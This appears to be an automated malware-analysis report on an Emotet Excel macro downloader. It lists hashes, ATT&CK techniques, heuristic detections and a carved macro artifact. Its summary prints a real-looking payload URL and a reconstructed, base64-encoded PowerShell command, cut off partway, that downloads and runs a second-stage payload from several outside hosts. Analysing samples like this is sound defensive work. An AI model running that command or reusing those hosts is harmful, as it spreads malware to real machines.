Emotet Office (OLE) / .XLS malware analysis — malicious · da8f4380e72d1f2b

MALICIOUS

Office (OLE) / .XLS

150.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 919e2fab1d60017cbc7a44c6606df1b0 SHA-1: 432748b585db66274d2bb6a9984866a8c82dc9f9 SHA-256: da8f4380e72d1f2be79a34d5004c2714151f7e66c672beca1c2812adcf7fab2b

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The critical ClamAV detection and high-severity heuristics for VBA macros, Workbook_Open execution, and CreateObject calls strongly indicate a malicious downloader. The Workbook_Open macro attempts to execute a batch file located at 'c:\programdata\jledshf.bat'. The embedded script also contains obfuscated PowerShell commands that attempt to download payloads from multiple URLs, including 'http://actividades.laforet.com/wp-admin/BlkdOKDXL/'. The reconstructed PowerShell command line is: 'powershell -e JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBi'. This indicates the malware's intent to download and execute a second-stage payload.

Heuristics 7

ClamAV: Doc.Downloader.EmotetExcel02226-9938630-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02226-9938630-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `006c4f4d54d1c9bb906763adb0bd849cdbbe9d88f3fa78ad2d18ef6987f96c37`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8906 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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